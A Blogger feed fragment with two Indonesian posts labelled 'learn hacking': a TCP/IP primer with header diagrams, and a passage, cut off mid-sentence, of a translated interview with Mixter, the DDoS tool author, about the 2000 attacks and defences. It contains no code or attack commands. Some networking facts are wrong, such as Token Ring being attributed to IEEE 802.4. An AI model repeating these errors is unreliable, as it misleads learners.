/&gt;a. Network Access&lt;br /&gt;   Lapisan ini hanya menggambarkan bagaimana data dikodekan menjadi sinyal-&lt;br /&gt;   sinyal dan karakteristik antarmuka tambahan media. &lt;br /&gt;b. Internet layer/ network layer&lt;br /&gt;   Untuk mengirimkan pesan pada suatu internetwork (suatu jaringan yang &lt;br /&gt;   mengandung beberapa segmen jaringan), tiap jaringan harus secara unik &lt;br /&gt;   diidentifikasi oleh alamat jaringan. Ketika jaringan menerima suatu &lt;br /&gt;   pesan dari lapisan yang lebih atas, lapisan network akan menambahkan &lt;br /&gt;   header pada pesan yang termasuk alamat asal dan tujuan jaringan. &lt;br /&gt;   Kombinasi dari data dan lapisan network disebut "paket". Informasi &lt;br /&gt;   alamat jaringan digunakan untuk mengirimkan pesan ke jaringan yang &lt;br /&gt;   benar, setelah pesan tersebut sampai pada jaringan yg benar, lapisan &lt;br /&gt;   data link dapat menggunakan alamat node untuk mengirimkan pesan ke node &lt;br /&gt;   tertentu.&lt;br /&gt;       _____       _____&lt;br /&gt;      |=====|     |=====|   ################### end nodes&lt;br /&gt;      \-----/     \-----/                    # #&lt;br /&gt;       |===|       |===|                     #  #&lt;br /&gt;  |           |                       #   #&lt;br /&gt;      ---|---------- |----   # routers       #    #&lt;br /&gt;       |      # #              #     #&lt;br /&gt;       |     #   #             #      #&lt;br /&gt;    |=---=| #     #            #       #&lt;br /&gt;    |=---=|        #           #        #  &lt;br /&gt;       |            #        _____     _____&lt;br /&gt;     komputer     *******          #      |=====|   |=====|&lt;br /&gt;     Lainnya --- * token * -----|=---=|   \-----/   \-----/&lt;br /&gt;   * ring  *      |=---=|    |===|     |===|&lt;br /&gt;    *******          |         |         |&lt;br /&gt;       |            -|-------- |---------|---------&lt;br /&gt;     -----&lt;br /&gt;       |&lt;br /&gt;   Komputer                 &lt;br /&gt;   Lainnya&lt;br /&gt;&lt;br /&gt;meneruskan paket ke jaringan yang benar disebut "routing" dan peralatan &lt;br /&gt;yang meneruskan paket adalah "routers". Suatu antar jaringan mempunyai &lt;br /&gt;dua tipe node :&lt;br /&gt;&lt;br /&gt;- "End nodes", menyediakan pelayanan kepada pemakai. End nodes &lt;br /&gt;  menggunakan lapisan network utk menambah informasi alamat jaringan &lt;br /&gt;  kepada paket, tetapi tidak melakukan routing. End nodes kadang-kadang &lt;br /&gt;  disebut "end system" (istilah OSI) atau "host" (istilah TCP/IP)&lt;br /&gt;- Router memasukan mekanisme khusus untuk melakukan routing. Karena &lt;br /&gt;  routing merupakan tugas yg kompleks, router biasanya merupakan peralatan &lt;br /&gt;  tersendiri yg tidak menyediakan pelayanan kepada pengguna akhir. Router &lt;br /&gt;  kadang-kadang disebut "intermediate system" (istilah OSI) atau "gateway" &lt;br /&gt;  (istilah TCP/IP).&lt;br /&gt;&lt;br /&gt;Selain itu juga lapisan ini bertanggung jawab untuk pengiriman data &lt;br /&gt;melalui antar jaringan. Protokol lapisan intenet yang utama adalah &lt;br /&gt;internet protokol, IP (RFC 791, lihat juga RFC 919, 922,950).&lt;br /&gt;IP menggunakan protokol-protokol lain untuk tugas-tugas khusus internet. &lt;br /&gt;ICMP(dibahas nanti) digunakan untuk mengirimkan pesan-pesan ke lapisan &lt;br /&gt;host ke host. Adapun fungsi IP :&lt;br /&gt;&lt;br /&gt;1. Pengalamatan&lt;br /&gt;2. Fragmentasi datagram pada antar jaringan&lt;br /&gt;3. Pengiriman datagram pada antar jaringan&lt;br /&gt;c. Transport layer /host to host&lt;br /&gt;&lt;br /&gt;Salah satu tanggung jawab lapisan transport adalah membagi pesan-pesan &lt;br /&gt;menjadi fragment-fragment yang cocok dengan pembatasan ukuran yg &lt;br /&gt;dibentuk oleh jaringan. Pada sisi penerima, lapisan transport &lt;br /&gt;menggabungkan kembali fragment untuk mengembalikan pesan aslinya, &lt;br /&gt;sehingga dapat diketahui bahwa lapisan transport memerlukan proses &lt;br /&gt;khusus pada satu komputer ke proses yg bersesuaian pada komputer tujuan. &lt;br /&gt;Hal ini dikenal sebagai Service Access Point (SAP) ID kepada setiap &lt;br /&gt;paket (berlaku pada model OSI, istilah TCP/IP untuk SAP ini disebut port &lt;br /&gt;*).&lt;br /&gt;&lt;br /&gt;Mengenali pesan-pesan dari beberapa proses sedemikian rupa sehingga &lt;br /&gt;pesan tersebut dikirimkan melalui media jaringan yg sama disebut &lt;br /&gt;multiplexing. Prosedur mengembalikan pesan dan mengarahkannya pada &lt;br /&gt;proses yg benar disebut demultiplexing.&lt;br /&gt;Tanggung javab lapisan transport yg paling berat dalam hal pengiriman &lt;br /&gt;pesan adalah mendeteksi kesalahan dalam pengiriman data tersebut. Ada &lt;br /&gt;dua kategori umum deteksi kesalahan dapat dilakukan oleh lapisan &lt;br /&gt;transport :&lt;br /&gt;&lt;br /&gt;a. Reliable delivery, berarti kesalahan tidak dapat terjadi, tetapi &lt;br /&gt;   kesalahan akan dideteksi jika terjadi. Pemulihan kesalahan dilakukan &lt;br /&gt;   dengan jalan memberitahukan lapisan atas bahwa kesalahan telah &lt;br /&gt;   terjadi dan meminta pengirimna kembali paket yg kesalahannya &lt;br /&gt;   terdeteksi.&lt;br /&gt;b. Unreliable delivery, bukan berarti kesalahan mungkin terjadi, tetapi &lt;br /&gt;   menunjukkan bahwa lapisan transport tidak memeriksa kesalahan &lt;br /&gt;   tersebut. Karena pemeriksaan kesalahan memerlukan waktu dan &lt;br /&gt;   mengurangi penampilan jaringan. Biasanya kategori ini digunakan jika &lt;br /&gt;   setiap paket mengandung pesan yg lengkap, sedangkan reliable &lt;br /&gt;   delivery, jika mengandung banyak paket. Unreliable delivery, sering &lt;br /&gt;   disebut datagram delivery dan paket-paket bebas yg dikerimkan &lt;br /&gt;   dengan cara ini sering disebut datagram.&lt;br /&gt; &lt;br /&gt;Karena proses lapisan atas (application layer) memiliki kebutuhan yg &lt;br /&gt;bervariasi, terdapat dua protokol lapisan transport /host to host, TCP &lt;br /&gt;dan UDP. TCP adalah protokol yg handal. Protokol ini berusaha secara &lt;br /&gt;seksama untuk mengirimkan data ke tujuan, memeriksa kesalahan, &lt;br /&gt;mengirimkan data ulang bila diperlukan dan mengirimkan error ke lapisan &lt;br /&gt;ats hanya bila TCP tidak berhasil mengadakan komunikasi (dibahas nanti). &lt;br /&gt;Tetapi perlu dicatat bahwa kehandalan TCP tercapai dengan mengorbankan &lt;br /&gt;bandwidth jaringan yg besar.&lt;br /&gt; &lt;br /&gt;UDP (User Datagram Protocol) disisi lain adalah protokol yg tidak &lt;br /&gt;handal. Protokol ini hanya semampunya saja mengirimkan data. UDP tidak &lt;br /&gt;akan berusaha untuk  mengembalikan datagram yg hilang dan proses pada &lt;br /&gt;lapisan atas harus bertanggung jawab untuk mendeteksi data yg hilang &lt;br /&gt;atau rusak dan mengirimkan ulang data tersebut bila dibutuhkan.&lt;br /&gt;c. Application layer&lt;br /&gt;Lapisan inilah biasa disebut lapisan akhir (front end) atau bisa disebut &lt;br /&gt;user program. Lapisan inilah yg menjadi alasan keberadaan lapisan &lt;br /&gt;sebelumnya. Lapisan sebelumnya hanya bertugas mengirimkan pesan yg &lt;br /&gt;ditujukan utk lapisan ini. Di lapisan ini dapat ditemukan program yg &lt;br /&gt;menyediakan pelayanan jaringan, seperti mail server (email program), &lt;br /&gt;file transfer server (FTP program),  remote terminal.&lt;br /&gt;&lt;br /&gt;************************************************************************&lt;br /&gt;Token Ring merupakan teknologi LAN  data link yg didefinisikan oleh IEEE &lt;br /&gt;802.4  dimana sistem dihubungkan satu sama lain dengan menggunakan &lt;br /&gt;segmen kabel twisted-pair point-to-point untuk membentuk suatu struktur &lt;br /&gt;ring. Sebuah sistem diijinkan untuk mengirim hanya bila sistem tersebut &lt;br /&gt;memiliki token (data unit khsusus yg digunakan bersama-sama) yg akan &lt;br /&gt;dilewarkan dari satu sistem ke sistem lain sekitar ring.&lt;br /&gt;========================================================================&lt;br /&gt;komputer port adalah tempat adalah tempat dimana informasi masuk dan &lt;br /&gt;keluar. Di PC contohnya monitor sebagai keluaran informasi, keyboard dan &lt;br /&gt;mouse sebagai masukan informasi. Tetapi dalam istilah internet, port &lt;br /&gt;berbentuk virtual (software) bukan berbentuk fisik seperti RS232 serial &lt;br /&gt;port (utk koneksi modem).&lt;br /&gt;************************************************************************&lt;br /&gt;&lt;br /&gt;6. Bagaimana TCP dan IP bekerja ?&lt;br /&gt;---------------------------------&lt;br /&gt;Seperti yg telah dikemukakan diatas TCP/IP hanyalah merupakan suatu &lt;br /&gt;lapisan protokol(penghubung) antara satu komputer dg yg lainnya dalam &lt;br /&gt;network, meskipun ke dua komputer tersebut memiliki OS yg berbeda. Untuk &lt;br /&gt;mengerti lebih jauh marilah kita tinjau pengiriman sebuah email.&lt;br /&gt;Dalam pengiriman email ada beberapa prinsip dasar yg harus dilakukan. &lt;br /&gt;Pertama, mencakup hal-hal umum berupa siapa yg mengirim email, siapa yg &lt;br /&gt;menerima email tersebut serta isi dari email tersebut. Kedua, bagaimana &lt;br /&gt;cara agar email tersebut sampai pada tujuannya.Dari konsep ini kita &lt;br /&gt;dapat mengetahui bahwa pengirim email memerlukan "perantara" yg &lt;br /&gt;memungkinkan emailnya sampai ke tujuan (seperti layaknya pak pos). Dan &lt;br /&gt;ini adalah tugas dari TCP/IP. Antara TCP dan IP ada pembagian tugas &lt;br /&gt;masing-masing. &lt;br /&gt;&lt;br /&gt;TCP merupakan  connection-oriented, yg berarti bahwa kedua komputer yg &lt;br /&gt;ikut serta dalam pertukaran data harus melakukan hubungan terlebih dulu &lt;br /&gt;sebelum pertukaran data ( dalam hal ini email) berlangsung. Selain itu &lt;br /&gt;TCP juga bertanggung jawab untuk menyakinkan bahwa email tersebut sampai &lt;br /&gt;ke tujuan, memeriksa kesalahan dan mengirimkan error ke lapisan atas &lt;br /&gt;hanya bila TCP tidak berhasil melakukan hubungan (hal inilah yg membuat &lt;br /&gt;TCP sukar untuk dikelabuhi). Jika isi email  tersebut terlalu besar &lt;br /&gt;untuk satu datagram * , TCP akan membaginya kedalam beberapa datagram. &lt;br /&gt;IP bertanggung jawab setelah hubungan berlangsung, tugasnya adalah untuk &lt;br /&gt;meroute data packet . didalam network. IP hanya bertugas sebagai kurir &lt;br /&gt;dari TCP dalam penyampaian datagram dan "tidak bertanggung jawab" jika &lt;br /&gt;data tersebut tidak sampai dengan utuh (hal ini disebabkan IP tidak &lt;br /&gt;memiliki informasi mengenai isi data yg dikirimkan) maka IP akan &lt;br /&gt;mengirimkan pesan kesalahan ICMP*. Jika hal ini terjadi maka IP hanya &lt;br /&gt;akan memberikan pesan kesalahan (error message) kembali ke sumber data. &lt;br /&gt;Karena IP "hanya" mengirimkan data "tanpa" mengetahui mana data yg akan &lt;br /&gt;disusun berikutnya menyebabkan IP mudah untuk dimodifikasi daerah &lt;br /&gt;"sumber dan tujuan" datagram. Hal inilah  penyebab banyak paket hilang &lt;br /&gt;sebelum sampai kembali ke sumber awalnya. (jelas ! sumber dan tujuannya &lt;br /&gt;sudah dimodifikasi) &lt;br /&gt;&lt;br /&gt;Kalimat Datagram dan paket sering dipertukarkan penggunaanya. Secara &lt;br /&gt;teknis, datagram adalah kalimat yg digunakan jika kita hendak &lt;br /&gt;menggambarkan TCP/IP. Datagram adalah unit dari data, yg tercakup dalam &lt;br /&gt;protokol. &lt;br /&gt;&lt;br /&gt;************************************************************************&lt;br /&gt;ICPM adalah kependekan dari Internet Control Message Protocol yg &lt;br /&gt;bertugas memberikan pesan dalam IP. Berikut adalah beberapa pesan &lt;br /&gt;potensial sering timbul (lengkapnya lihat RFC 792):&lt;br /&gt;&lt;br /&gt;a. Destination unreachable, terjadi jika host,jaringan,port atau protokol &lt;br /&gt;   tertentu tidak dapat dijangkau.&lt;br /&gt;b. Time exceded, dimana datagram tidak bisa dikirim karena time to live &lt;br /&gt;   habis.&lt;br /&gt;c. Parameter problem, terjadi kesalahan parameter dan letak oktert dimana &lt;br /&gt;   kesalahan terdeteksi.&lt;br /&gt;d. Source quench, terjadi karena router/host tujuan membuang datagram &lt;br /&gt;   karena batasan ruang buffer atau karena datagram tidak dapat diproses.&lt;br /&gt;e. Redirect, pesan ini memberi saran kepada host asal datagram mengenai &lt;br /&gt;   router yang lebih tepat untuk menerima datagram tsb.&lt;br /&gt;f. Echo request dan echo reply message, pesan ini saling mempertukarkan &lt;br /&gt;   data antara host.&lt;br /&gt;&lt;br /&gt;Selain RFC 792 ada juga RFC 1256 yg isinya berupa ICMP router discovery &lt;br /&gt;message dan merupakan perluasan dari ICMP, terutama membahas mengenai &lt;br /&gt;kemampuan bagi host untuk menempatkan rute ke gateway.&lt;br /&gt;************************************************************************&lt;br /&gt;&lt;br /&gt;7. Bagaimanakah bentuk format header protokol UDP,TCP,IP ?&lt;br /&gt;----------------------------------------------------------&lt;br /&gt;1. UDP&lt;br /&gt; ------&lt;br /&gt; UDP memberikan alternatif transport untuk proses yg tidak membutuhkan &lt;br /&gt;pengiriman yg handal. Seperti yg telah dibahas sebelumnya, UDP merupakan &lt;br /&gt;protokol yg tidak handal, karena tidak menjamin pengiriman data atau &lt;br /&gt;perlindungan duplikasi. UDP tidak mengurus masalah penerimaan aliran &lt;br /&gt;data dan pembuatan segmen yg sesuai untuk IP.Akibatnya, UDP adalah &lt;br /&gt;protokol sederhana yg berjalan dengan kemampuan jauh dibawah TCP. Header &lt;br /&gt;UDP tidak mengandung banyak informasi, berikut bentuk headernya :&lt;br /&gt; &lt;br /&gt; ++++++++++++++++++++++++++++++++++++++&lt;br /&gt; + Source Port  +   Destination Port  +&lt;br /&gt; ++++++++++++++++++++++++++++++++++++++&lt;br /&gt; +    Length    +    Checksum         +&lt;br /&gt; ++++++++++++++++++++++++++++++++++++++&lt;br /&gt; &lt;br /&gt; source port, adalah port asal dimana system mengirimkan datagram.&lt;br /&gt; Destination port, adalah port tujuan pada host penerima.&lt;br /&gt; Length, berisikan panjang datagram dan termasuk data.&lt;br /&gt; Checksum, bersifat optional yg berfungsi utk meyakinkan bahwa data tidak &lt;br /&gt;akan mengalami rusak (korup)&lt;br /&gt; &lt;br /&gt;2. TCP&lt;br /&gt;------&lt;br /&gt;Seperti yg telah dibahas sebelumnya, TCP merupakan protokol yg handal &lt;br /&gt;dan bertanggung jawab untuk mengirimkan aliran data ke tujuannya secara &lt;br /&gt;handal dan berurutan. Untuk memastikan diterimanya data, TCP menggunakan &lt;br /&gt;nomor urutan segmen dan acknowlegement (jawaban). Misalkan anda ingin &lt;br /&gt;mengirim file berbentuk seperti berikut :&lt;br /&gt;----------------------------------------------------------&lt;br /&gt;TCP kemudian akan memecah pesan itu menjadi beberapa datagram (untuk &lt;br /&gt;melakukan hal ini, TCP tidak mengetahui berapa besar datagram yg bisa &lt;br /&gt;ditampung jaringan. Biasanya, TCP akan memberitahukan besarnya datagram &lt;br /&gt;yg bisa dibuat, kemudian mengambil nilai yg terkecil darinya, untuk &lt;br /&gt;memudahkan).&lt;br /&gt;---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----&lt;br /&gt;TCP kemudian akan meletakan header di depan setiap datagram tersebut. &lt;br /&gt;Header ini biasanya terdiri dari 20 oktet, tetapi yg terpenting adalah &lt;br /&gt;oktet ini berisikan sumber dan tujuan nomor port (port number) dan &lt;br /&gt;nomor urut (sequence number). Nomor port digunakan untuk menjaga data &lt;br /&gt;dari banyaknya data yg lalu lalang. Misalkan ada 3 orang yg mengirim &lt;br /&gt;file. TCP anda akan mengalokasikan nomor port 1000, 1001, dan 1002 untuk &lt;br /&gt;transfer file. Ketika datagram dikirim, nomor port ini menjadi sumber &lt;br /&gt;port (source port) number untuk masing-masing jenis transfer.&lt;br /&gt;Yg perlu diperhatikan yaitu bahwa TCP perlu mengetahui juga port yg &lt;br /&gt;dapat digunakan oleh tujuan (dilakukan diawal hubungan). Port ini &lt;br /&gt;diletakan pada daerah tujuan port (destination port). Tentu saja jika &lt;br /&gt;ada datagram yg kembali, maka source dan destination portnya akan &lt;br /&gt;terbalik, dan sejak itu port anda menjadi destination port dan port &lt;br /&gt;tujuan menjadi source port.&lt;br /&gt;&lt;br /&gt;Setiap datagram mempunyai nomor urut (sequence number) masing-masing yg &lt;br /&gt;berguna agar datagram tersebut dapat tersusun pada urutan yg benar dan &lt;br /&gt;agar tidak ada datagram yg hilang. TCP tidak memberi nomor datagram, &lt;br /&gt;tetapi pada oktetnya. Jadi jika ada 500 oktet data dalam setiap &lt;br /&gt;datagram, datagram yg pertama mungkin akan bernomor urut 0, kedua 500, &lt;br /&gt;ketiga 1000, selanjutnya 1500 dan eterusnya. Kemudian semua susunan &lt;br /&gt;oktet didalam datagram akan diperiksa keadaannya benar atau salah, dan &lt;br /&gt;biasa disebut dg checksum. Hasilnya kemudian diletakan ke header TCP. &lt;br /&gt;Yg perlu diperhatikan ialah bahwa checksum ini dilakukan di kedua &lt;br /&gt;komputer yg melakukan hubungan. Jika nilai keberadaan susunan oktet &lt;br /&gt;antara satu checksum dg checksum yg lain tidak sama, maka sesuatu yg &lt;br /&gt;tidak diinginkan akan terjadi pada datagram tersebut, yaitu gagalnya &lt;br /&gt;koneksi (lihat bahasan sebelumnya). Jadi inilah bentuk datagram &lt;br /&gt;tersebut:&lt;br /&gt;&lt;br /&gt;++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;+     Source Port     +      Destination port  +&lt;br /&gt;++++++++++++++++++++++++++++++++++++++++++++++++          &lt;br /&gt;+                 Sequence number              +&lt;br /&gt;++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;+               Acknowledgment number          +  &lt;br /&gt;++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;+  Data +         |U|A|P|R|S|F|                +&lt;br /&gt;+ offset+ Reserved|R|C|S|S|Y|I|     Window     +&lt;br /&gt;+       +         |G|K|H|T|N|N|                +&lt;br /&gt;++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;+    Checksum                 | Urgent pointer +&lt;br /&gt;++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;+  data anda ------ sampai 500 oktet berikut   +&lt;br /&gt;+  ------------                                +&lt;br /&gt;&lt;br /&gt;Jika kita misalkan TCP header sebagai T, maka seluruh file akan &lt;br /&gt;berbentuk sebagai berikut :&lt;br /&gt;T---- T---- T---- T---- T---- T---- T---- T---- T---- T---- T----&lt;br /&gt;&lt;br /&gt;Ada beberapa bagian dari header yg belum kita bahas. Biasanya bagian &lt;br /&gt;header  ini terlibat sewaktu hubungan berlangsung. &lt;br /&gt;&lt;br /&gt;- Seperti 'acknowledgement number' misalnya, yg bertugas untuk menunggu &lt;br /&gt;  jawaban apakah datagram yg dikirim sudah sampai atau belum. Jika tidak &lt;br /&gt;  ada jawaban (acknowledgement) dalam batas waktu tertentu, maka data akan &lt;br /&gt;  dikirim lagi. &lt;br /&gt;- Window berfungsi untuk mengontrol berapa banyak data yg bisa singgah &lt;br /&gt;  dalam satu waktu. Jika Window sudah terisi, ia akan segera langsung &lt;br /&gt;  mengirim data tersebut dan tidak akan menunggu data yg terlambat, karena &lt;br /&gt;  akan menyebabkan hubungan menjadi lambat.&lt;br /&gt;- Urgent pointer menunjukan nomor urutan oktet menyusul data  yg &lt;br /&gt;  mendesak. Urgent pointer adalah bilangan positif berisi posisi dari &lt;br /&gt;  nomor urutan pada segmen.&lt;br /&gt;  Reserved selalu berisi nol. Dicadangkan untuk penggunaan mendatang.&lt;br /&gt;- Control bit (disamping kanan reserved, baca dari atas ke bawah). Ada &lt;br /&gt;  enam kontrol bit :&lt;br /&gt;a. URG, Saat di set 1 ruang urgent pointer memiliki makna, set 0 &lt;br /&gt;   diabaikan.&lt;br /&gt;b. ACK saat di set ruang acknowledgement number memiliki arti.&lt;br /&gt;c. PSH, memulai fungsi push.&lt;br /&gt;d. RST, memaksa hubungan di reset.&lt;br /&gt;e. SYN, melakukan sinkronisasi nomor urutan untuk hubungan. Bila diset maka &lt;br /&gt;   hubungan di buka.&lt;br /&gt;f. FIN, hubungan tidak ada lagi.&lt;br /&gt;&lt;br /&gt;3. IP&lt;br /&gt;-----&lt;br /&gt;TCP akan mengirim setiap datagram ke IP dan meminta IP untuk &lt;br /&gt;mengirimkannya ke tujuan(tentu saja dg cara mengirimkan IP alamat &lt;br /&gt;tujuan). Inilah tugas IP sebenarnya. IP tidak peduli apa isi dari &lt;br /&gt;datagram, atau isi dari TCP header. Tugas IP sangat sederhana, yaitu &lt;br /&gt;hanya mengantarkan datagram tersebut sampai tujuan (lihat bahasan &lt;br /&gt;sebelumnya). Jika IP melewati suatu gateway, maka ia kemudian akan &lt;br /&gt;menambahkan header miliknya. Hal yg penting dari header ini adalah &lt;br /&gt;source address dan Destination address, protocol number dan &lt;br /&gt;checksum. source address adalah alamat asal datagram. Destination &lt;br /&gt;address adalah alamat tujuan datagram (ini penting agar gateway &lt;br /&gt;mengetahui ke mana datagram akan pergi). Protocol number meminta IP &lt;br /&gt;tujuan untuk mengirim datagram ke TCP. Karena meskipun jalannya IP &lt;br /&gt;menggunakan TCP, tetapi ada juga protokol tertentu yg dapat menggunakan &lt;br /&gt;IP, jadi kita harus memastikan IP menggunakan protokol apa untuk &lt;br /&gt;mengirim datagram tersebut. Akhirnya, checksum akan meminta IP tujuan &lt;br /&gt;untuk meyakinkan bahwa header tidak mengalami kerusakan. Yang perlu &lt;br /&gt;dicatat yaitu bahwa TCP dan IP menggunakan checksum yang berbeda. &lt;br /&gt;Berikut inilah tampilan header IP :&lt;br /&gt;&lt;br /&gt;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;+ version + IHL + Type of Service +        Total Length      +&lt;br /&gt;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;+  identification                 + Flag +  Fragment Offset  +&lt;br /&gt;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;+ Time to live  + Protocol        +     Header Checksum      +&lt;br /&gt;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;+                       Source Address                       +&lt;br /&gt;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;+                    Destination Address                     +&lt;br /&gt;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;+ TCP header, kemudian data  -------                         +&lt;br /&gt;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;&lt;br /&gt;Jika kita misalkan IP header sebagai I, maka file sekarang akan &lt;br /&gt;berbentuk :&lt;br /&gt;&lt;br /&gt;IT----  IT----  IT----  IT-----  IT-----  IT-----  IT----- IT----&lt;br /&gt;&lt;br /&gt;Selanjutnya berikut ringkasan mengenai bagian header yg belum dibahas :&lt;br /&gt;a. Total length, merupakan panjang keseluruhan datagram dalam oktet, &lt;br /&gt;   termasuk header dan data IP.&lt;br /&gt;b. Identification, digunakan untuk membantu proses penggabungan kembali &lt;br /&gt;   pecahan-pecahan dari sebuah datagram.&lt;br /&gt;c. Flag,berisi tiga kontrol flag.&lt;br /&gt;   - bit 0, dicadangkan, harus 0.&lt;br /&gt;   - Bit 1, tidak boleh pecah.&lt;br /&gt;   - Bit 2, masih ada fragment lagi.&lt;br /&gt;d. Fragment offset, menunjukan posisi fragment di dalam datagram.&lt;br /&gt;e. Time to live, menunjukan batas waktu maksimal bagi sebuah datagram &lt;br /&gt;   untuk berada pada jaringan.&lt;br /&gt;f. Option, lihat RFC 791.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Phayzer&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-6689599012517849857?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/6689599012517849857/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-konsep-dasar-tcpip.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/6689599012517849857'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/6689599012517849857'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-konsep-dasar-tcpip.html' title='BELAJAR HACKING : Konsep Dasar TCP/IP'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-445835526324521023</id><published>2009-04-26T22:07:00.001-07:00</published><updated>2009-04-26T22:12:36.975-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HACKER'/><title type='text'>BELAJAR HACKING : Penjebol 8 Situs Kondang itu Buka Mulut</title><content type='html'>Mixter. Begitu hacker yang ditengarai asal Jerman ini menyebut dirinya. Namanya sempat menjadi buah bibir lantara ia sukses menelanjangi (baca: membobol) 8 situs kondang sekaligus:Yahoo!, eBay, Buy.com, Amazon.com, CNN, E*Trade, MSN.com juga ZDNet.&lt;br /&gt;&lt;br /&gt;   "Terlalu gampang", ujar Mixter yang mengaku dirinya sebagai white-hat hacker alias hacker yang tahu tata krama perhacking-an. "Kelemahan Internet adalah madu pemikat orang untuk hacking", imbuh hacker 20 tahun yang notabene pembuat tool denial-of-service (DoS) bernama Tribal Flood Network dan versi terbaru, TFN2K. Kedua tool tersebut sanggup melakukan DoS dengan membanjiri (flooding) server maupun router dengan beragam tipe data.&lt;br /&gt;&lt;br /&gt;   Bukan Mixter kalo serangannya tidak membuat Bill Clinton meminta para jawara IT di negerinya menggelar pertemuan tingkat tinggi dalam rangka memerangi cyber criminals. Bahkan, untuk mengantisipasi kemungkinan serangan berikutnya, FBI merilis tool anti-TFN dan TFN 2000.&lt;br /&gt;&lt;br /&gt;   Tapi di balik musibah itu, ternyata ada hikmahnya. Kabarnya setelah serangan beruntun itu, bisnis asuransi sistem dari serangan hacker, meledak. Bagi Mixter sendiri Tribal Flood Network adalah tool pemandu (teaching tool) yang mampu memberita tahu hole - hole di sebuah Web. Berikut ringkasan obrolan ZDNet bareng Mixter.&lt;br /&gt;&lt;br /&gt;ZDNet (T): Bagaimana anda belajar sekuriti ?&lt;br /&gt;&lt;br /&gt;Mixter (J): Saya menggeluti komputer sejak berumur 6 tahun, dan tertarik teknis sistem operasi dan jaringan mulai umur 14 tahun, waktu komputer saya terkoneksi ke Internet.&lt;br /&gt;&lt;br /&gt;T : Waktu itu pakai komputer apa ?&lt;br /&gt;&lt;br /&gt;J : Commodore 64.&lt;br /&gt;&lt;br /&gt;T : Anda mengganggap apa yang anda lakukan dikategorikan "hacking" ?&lt;br /&gt;&lt;br /&gt;J : Saya pikir hacking saya kategori hacking 'tradisional', saya takut menggunakan istilah ini lantaran makna 'hacker' sangat negatif. Dulu saya sempat dijerat hukum. Tapi sekarang saya hacker yang menjunjung tinggi etika hacking (white-hat).&lt;br /&gt;&lt;br /&gt;T : Memang anda berbuat apa ?&lt;br /&gt;&lt;br /&gt;J : Seperti hacker kebanyakan, saya mulai mengambil alih dan mengamankan kanal chatting Efnet. Di samping membubulkan atas perbuatan saya itu enggak seberapa besar. Saya anggap ini kesalahan masa lalu untuk dipetik hikmahnya.&lt;br /&gt;&lt;br /&gt;T : Mengapa anda membuat dan menyebarluaskan TFN padahal tool ini bisa disalahgunakan ?&lt;br /&gt;&lt;br /&gt;J : Saya membuat TFN karena Trinoo (tool yang juga bisa melakukan DoS attack atau dikenal sebagai SMURF) tidak disebarluaskan. Mulanya, TFN saya namai 'teletubby flood network', tapi kok namanya jelek. Kendala terbesar infrastruktur jaringan saat ini adalah terlalu banyak kelemahan dan hole. Itulah mengapa kita bisa dengan mudah spoofing dan menyebarluaskan program. Saya putuskan membuat TFN dan mendistribusikan source code-nya untuk mengamankan situs sekalian supaya orang berkesempatan menguji dan membuat patch-nya dan mengantisipasi serangan serupa di masa mendatang. Sebut saja konsep sekuriti ini sebagai 'full disclosur". Tujuan utama sekuriti adalah agar orang menemukan dan memberi tahu titik kelemahan paling berbahaya sesegera mungkin. Dengan demikian saban orang berkesempatan menganalisa dan menciptakan penangkalnya.&lt;br /&gt;&lt;br /&gt;T : Namun, tetap saja belum menyolusi. Soalnya, jika anda menginginkan agar orang lain mengakses situs anda, anda tentu mewaspadai DDoS (distribute denial-of-service) attack.&lt;br /&gt;&lt;br /&gt;J : Tepat. Biang masalahnya adalah lemahnya autentikasi protocol sekarang. Ada banyak metode (untuk menangkis DoS attack yang lebih canggih), termasuk SYN interception dan proxying router. Sayang SYN interception sekedar meminimalisir dampak flood; tidak mampu menghentikan total.&lt;br /&gt;&lt;br /&gt;T : Jadi, menurut anda, solusi paling jitu ?&lt;br /&gt;&lt;br /&gt;J : Caranya segeralah hijrah ke IPv6 (Internet Protocol versi enam, IP Protocol yang dipakai sekarang adalah IP versi empat) yang menawarkan fasilitas autentikasi dan sekuriti lebih hebat.&lt;br /&gt;&lt;br /&gt;T : Solusi jangka pendeknya ?&lt;br /&gt;&lt;br /&gt;J : Untuk host - host yang dibobol, update selalu software dan konfigurasinya. Ingat, kelemahan Internet adalah madu pemikat orang untuk hacking. Kecuali itu, masalah bandwidth dan backbone pada provider.&lt;br /&gt;&lt;br /&gt;T : Kapan sebaiknya IPv6 diimplementasikan ?&lt;br 